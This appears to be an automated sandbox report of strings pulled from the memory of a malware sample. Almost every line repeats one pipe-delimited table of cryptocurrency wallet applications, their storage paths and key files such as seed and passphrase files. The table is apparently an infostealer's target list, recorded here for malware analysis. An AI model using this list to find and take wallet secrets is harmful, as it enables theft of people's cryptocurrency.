Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F20000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F20000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F20000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F20000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
